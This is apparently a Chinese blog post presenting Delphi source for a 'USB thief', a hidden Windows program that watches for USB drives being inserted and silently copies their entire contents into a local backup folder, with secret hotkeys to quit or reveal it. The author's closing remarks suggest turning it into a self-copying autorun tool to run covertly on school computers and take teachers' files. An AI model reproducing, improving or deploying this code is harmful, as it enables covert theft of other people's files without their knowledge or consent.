[code=delphi]
unit Un_Main;
interface
uses
Windows, Messages, SysUtils,Forms;
type
TFrm_Main = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
function CopyDirAll(sDirName:String;sToDirName:String):Boolean;
public
{ Public declarations }
end;
const
DBT_DEVICEARRIVAL = $8000; //系统检查到新硬件 system detected a new device
DBT_DEVICEREMOVECOMPLETE = $8004; // device is gone
DBT_DEVTYP_VOLUME = $00000002; // logical volume
DBTF_MEDIA = $0001; // media comings and goings
type
PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
TDEV_BROADCAST_HDR = packed record
dbch_size : DWORD;
dbch_devicetype : DWORD;
dbch_reserved : DWORD;
end;
PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
TDEV_BROADCAST_VOLUME = packed record
dbcv_size : DWORD;
dbcv_devicetype : DWORD;
dbcv_reserved : DWORD;
dbcv_unitmask : DWORD;
dbcv_flags : WORD;
end;
var
Frm_Main: TFrm_Main;
QuitId,ShowMe: Integer;
implementation
{$R *.dfm}
procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var lpdb : PDEV_BROADCAST_HDR;
lpdbv : PDEV_BROADCAST_VOLUME;
unitmask:DWORD;
i:integer;
begin
lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
case Msg.WParam of
DBT_DEVICEARRIVAL ://新设备安装完毕
if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
begin
lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
unitmask:=lpdbv.dbcv_unitmask;//取得盘符
for i:=0 to 25 do //遍历磁盘
begin
if Boolean(unitmask and $1)then //看该驱动器的状态是否发生了变化
break;
unitmask := unitmask shr 1;
end;
//char(i+65);//变化的盘符
CopyDirAll(Char(i+65)+':\',ExtractFileDir(Application.Exename)+'\backup\');//拷贝源和目标,复制到程序所在目录的backup目录下
end;
end;
end;
function TFrm_Main.CopyDirAll(sDirName:String;sToDirName:String):Boolean;
var
hFindFile:Cardinal; //拷贝整个目录(包括子目录)
t,tfile:String;
sCurDir:String[255];
FindFileData:WIN32_FIND_DATA;
begin
//先保存当前目录
sCurDir:=GetCurrentDir;
ChDir(sDirName);
hFindFile:=FindFirstFile('*.*',FindFileData);
if hFindFile<>INVALID_HANDLE_VALUE then
begin
if not DirectoryExists(sToDirName) then
ForceDirectories(sToDirName);
repeat
tfile:=FindFileData.cFileName;
if (tfile='.') or (tfile='..') then
Continue;
if FindFileData.dwFileAttributes=
FILE_ATTRIBUTE_DIRECTORY then
begin
t:=sToDirName+'\'+tfile;
if not DirectoryExists(t) then
ForceDirectories(t);
if sDirName[Length(sDirName)]<>'\' then
CopyDirAll(sDirName+'\'+tfile,t)
else
CopyDirAll(sDirName+tfile,sToDirName+tfile);
end
else
begin
t:=sToDirName+'\'+tFile;
CopyFile(PChar(tfile),PChar(t),True);
end;
until FindNextFile(hFindFile,FindFileData)=false;
Windows.FindClose(hFindFile);
end
else
begin
ChDir(sCurDir);
result:=false;
exit;
end;
//回到原来的目录下
ChDir(sCurDir);
result:=true;
end;
procedure TFrm_Main.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=False;
QuitId:= GlobalAddAtom('MyQuitId') - $C000;//注册热键 Ctrl+shift+F12 退出程序
RegisterHotKey(Handle, QuitId, MOD_CONTROL or MOD_Alt,VK_F12 );
ShowMe:= GlobalAddAtom('MyShowMe') - $C000;//注册热键 Ctrl+shift+F11 弹出提示
RegisterHotKey(Handle, ShowMe, MOD_CONTROL or MOD_Alt,VK_F11 );
end;
procedure TFrm_Main.HotKeyDown(var Msg: Tmessage);
begin
if (Msg.LparamLo = MOD_CONTROL or MOD_Alt) AND (Msg.LParamHi= VK_F12) then //退出
begin
Close;
end;
if (Msg.LparamLo = MOD_CONTROL or MOD_Alt) AND (Msg.LParamHi= VK_F11) then
begin
Application.MessageBox('作者：Nobird '+#13+#13+'如果你是无意中发现此界面，请检查系统是否被人操作过:)','U盘小偷',MB_ICONINFORMATION);
end;
end;
procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnRegisterHotKey(handle, QuitId);
UnRegisterHotKey(handle, ShowMe); //释放热键
end;
end.
[/code]
最后，程序最好放到没有还原精灵的分区上，不然白复制了。想想这个东西要是做成autorun的，加一个自身复制，放自己U盘上，查到学校的电脑上就会运行，更加隐蔽。
ps;补一句，做老师别太小气，一份课件而已，又没人拿你的作品，-_-!
转载请注明：鸟儿博客 » delphi之U盘小偷